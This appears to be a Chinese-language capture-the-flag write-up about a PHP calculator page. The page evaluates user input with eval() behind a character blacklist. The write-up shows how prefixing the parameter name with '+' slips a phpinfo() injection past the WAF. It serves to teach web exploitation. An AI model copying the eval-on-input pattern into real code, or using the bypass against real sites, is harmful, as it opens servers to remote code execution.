最后更新于3年前
这有帮助吗?
打开是一个输入计算表达式的表单:
点击计算会把数据提交到:/calc.php?num=1+1
/calc.php?num=1+1
直接访问 /calc.php 得到源代码:
<?php error_reporting(0); if (!isset($_GET['num'])) { show_source(__FILE__); } else { $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $str)) { die("what are you want to do?"); } } eval('echo '.$str.';'); }
访问 /calc.php?num=phpinfo() 会被WAF拦截,可以在参数前添加**+**号绕过:
/calc.php?num=phpinfo()
/calc.php?+num=phpinfo()
clac.php 中也过滤了许多关键词:
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];